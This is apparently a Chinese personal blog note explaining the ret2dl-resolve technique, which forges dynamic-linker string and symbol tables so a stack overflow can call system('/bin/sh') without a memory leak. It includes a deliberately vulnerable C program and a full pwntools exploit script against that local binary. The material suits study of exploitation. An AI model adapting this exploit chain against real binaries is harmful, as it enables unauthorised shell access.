Contents
  1. 1. 不依靠信息泄漏来exploit
    1. 1.1. 信息介绍
    2. 1.2. 攻击思路
    3. 1.3. 攻击方法
      1. 1.3.1. 部分RELRO保护 1.
      2. 1.3.2. 部分RELRO保护 2.
      3. 1.3.3. 完全RELRO保护 3.
    4. 1.4. 攻击测试

不依靠信息泄漏来exploit

re2dl 攻击

信息介绍

安全攻防的升级从堆栈执行shellcode到NX不可执行,从ret2libc到ASLR地址随机化,从dynamic symtab strtab到RELRO, 到攻击者的内存泄漏内存地址不断进化着。
目前攻击者在控制pc指针后,一般分两步来完成后续的漏洞利用。第一步通过信息泄漏漏洞leak出内存布局,第二部则是精心构造具有艺术感的exploit gadget。
但如果有些程序没有可以泄漏内存的信息的漏洞怎么办?如下面的代码,除了明显的pc指针控制漏洞外,没有引入任何输出函数,导致后续没办法输出内存信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulfunc()
{
char sbuf[10];
read(0, sbuf, 60);
}

int main()
{
vulfunc();
exit(0);
return 0;
}

在usenix大会上,ucsb-seclab分享了他们的攻击方法。在Linux上,为了节省静态库占用空间,和保证动态库的稳定工作,引入了一种plt lazy binding的技术。一个普通的ELF文件通常包含了下面一些段

而那些从外部动态库引入的函数则主要以字符串信息保存在ELF中,而它们正真的地址则在程序第一次调用它们时才从系统获取到。这个过程中利用PLT来完成延迟绑定,在第一次函数地址重定位后,函数地址将被写入GOT表中,此后再调用该函数将查询GOT表来跳转。(参考于 《程序员的自我修养 –链接、装载与库》)

攻击思路

那么这里就有个想法,如果修改了内存中保存的函数名,比如把”printf”这个字符串改为“execv“等关键函数,那么在第一次调用printf(“/bin/sh”)时,真正执行了execv(“/bin/sh”),从而get shell。
但ELF相关开发小组早就做了保护,保存的函数名等字符串段在载入内存后是仅可读的,阻止攻击者通过篡改内存中函数名来获取到其他函数在内存中的地址。

但同样的思路,换个方法,就可以成功绕过防护,这里就要介绍写ELF中信息的分布和函数地址的动态重定位了了。

  1. .dynstr段中保存了动态引入的函数名字符串
  2. .dynsym段中则是记录了不同动态引入函数的其他信息,并且st_name保存了.dynstr中对应的函数名称的下标号
    struct {
    st_name
    ...
    
    }
  3. .rel.plt段则是用来记录引入函数的地址信息,如果在动态链接器获取了函数地址后,r_offset保存解析后的符号地址被写入内存中的位置,而r_info保存.dynsym中对应的函数信息的下标号
    struct {
    r_offset
    r_info
    
    }
  4. .dynamic段则保存了上面各个段的地址,负责地址的查询工作

而函数地址则由got表中第二个标号中的_dl_runtime_resolve(link_map_obj, reloc_index)函数指针来获取,获取到的地址则保存到got表中,那么就可以衍生出下面几种不同情况下的攻击方法:

攻击方法

部分RELRO保护 1.

在内存可写的段中构造伪造的.dynstr段信息,将其中的最后要用的函数名改为自己想要的函数名,比如execv 替换printf
接着将该段内存的地址覆盖写入.dynmaic段中保存.dynstr地址的区域,接着再向内存中写入shellcode,接着给printf函数传入shellcode,那么当printf是第一次被调用时,将从伪造的.dynstr段中读取到“execv”函数名,接着从内存中获取到execv函数地址存入printf函数对应的got表中,最后跳转回去再执行到的就是execv(shellcode)了,成功get shell。

部分RELRO保护 2.

直接一次性伪造.dynstr, .dynsym, .rel.plt三个段,填入自己想获取的函数名称信息,最后将伪造的.rel.plt地址传入_dl_runtime_resolve()中,最后会顺着地址将伪造的.dynstr段中的函数名解析,获取到地址,保存到对应标号的GOT表中,后续就是同样利用了。

完全RELRO保护 3.

当采用完全RELRO保护时,所有重定位将在加载时全部完成,没有plt lazy binding, 所以要绕过保护需要采用不同的方法。
伪造.dynamic, .dynstr, 接着通过DT_DEBUG来解析r_debug中保存的r_map信息,r_map则保存着link_map链表的头部指针, 覆盖link_map的l_info指向伪造的.dynamic段中,后续相同利用。

攻击测试

先贴exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/python

from pwn import *

vulFunAddr = 0x0804845b
mainFunAddr = 0x08048476
readpltAddr = 0x08048310
exitpltAddr = 0x08048340
putspltAddr = 0x08048320
dynstrInDynamicAddr = 0x080496a0
dynstrAddr = 0x0804821c
bssAddr = 0x08049770
dynstrListAddr = [0x0804821c, 0x0804821d, 0x08048227, 0x08048236, 0x0804823b, 0x08048240, 0x08048245, 0x08048257, 0x08048266, 0x08048270]
strTable = ['', 'test', 'libc.so.6', '_IO_stdin_used', 'puts', 'exit', 'read', '__libc_start_main', '__gmon_start__', 'GLIBC_2.0', '']
strTable[4] = 'system' #use 'system' in place of 'exit'
log.info('strTable = ')
log.info(strTable)

expOffset = 22
log.info("* [ok]: exploit offset is " + str(expOffset))
binShellStr = '/bin/sh\0'
payloadHead = 'a'*expOffset

def showDynStr():
log.info("=======================")
for i in dynstrListAddr:
payload = payloadHead + p32(putspltAddr) + p32(vulFunAddr) + p32(i)
p.send(payload)
str = p.recv()
#print str
log.info("=======================")


def writeStrTableToBSS(baseAddr):
tempBSS = baseAddr
for i in strTable:
#str = i + chr(0)
str = i + chr(0)
payloadTemp = payloadHead + p32(readpltAddr) + p32(vulFunAddr) + p32(0) + p32(tempBSS) + p32(len(str)+1)
p.send(payloadTemp)
log.info('* [ready]: write str = %s ' %(str))
p.sendline(str)
#set new bss offset
tempBSS = tempBSS + len(str)

p = process('./a.out')
#context.log_level = 'debug'
#gdb.attach(p, execute='b *0x0804845b\nb *0x08048476\nb *0x08048340\n')

p.recvline()

log.info("* [ok]: show dynstr strtable")
showDynStr()

#first: write '/bin/sh\0' to BSS seg
payload1 = payloadHead + p32(readpltAddr) + p32(vulFunAddr) + p32(0) + p32(bssAddr) + p32(8)
p.send(payload1)
p.send(binShellStr)
log.info("* [ok]: write '/bin/sh\0' to .bss seg successed!")

#second: write StrTable to BSS seg
dynstrInBSSAddr = bssAddr + len(binShellStr)
writeStrTableToBSS(dynstrInBSSAddr)
log.info("* [ok]: write self StrTable to .bss seg successed!")


log.info("* [ok]: show dynstr strtable")
showDynStr()

#third: write new StrTable address to dynamic d_val addr
payload2 = payloadHead + p32(readpltAddr) + p32(vulFunAddr) + p32(0) + p32(dynstrInDynamicAddr) + p32(4)
p.send(payload2)
p.send(p32(dynstrInBSSAddr))
log.info("* [ok]: write new StrTable to dynamic d_var addr successed!")

log.info("* [info]: ensure '/bin/sh' in .bss")
payload3 = payloadHead + p32(putspltAddr) + p32(vulFunAddr) + p32(bssAddr)
p.send(payload3)
str = p.recv()
print str

#forth: exit, and exit@plt('/bin/sh') -> system('/bin/sh')
#payload3 = payloadHead + p32(exitpltAddr) + p32(mainFunAddr) + p32(bssAddr)
log.info("* [ok]: show strTable in .bss")
payload3 = payloadHead + p32(putspltAddr) + p32(vulFunAddr) + p32(dynstrInBSSAddr)
p.send(payload3)
str = p.recv()
log.info("=======================")
print str
log.info("=======================")
payload3 = payloadHead + p32(exitpltAddr) + p32(vulFunAddr) + p32(bssAddr)
p.send(payload3)
log.info("* [waiting]: exit@plt('/bin/sh') -> system('/bin/sh')")

p.interactive()

在测试结果时,故意将函数名填错后,程序运行提示重定位错误

修改正确后

但。。。。最后没得到shell。。不知道是我调用有问题。。还是。。算了,记日记,以后再调试。。。
修改了exp,成功get shell,这里就不截图上传了

Contents
  1. 1. 不依靠信息泄漏来exploit
    1. 1.1. 信息介绍
    2. 1.2. 攻击思路
    3. 1.3. 攻击方法
      1. 1.3.1. 部分RELRO保护 1.
      2. 1.3.2. 部分RELRO保护 2.
      3. 1.3.3. 完全RELRO保护 3.
    4. 1.4. 攻击测试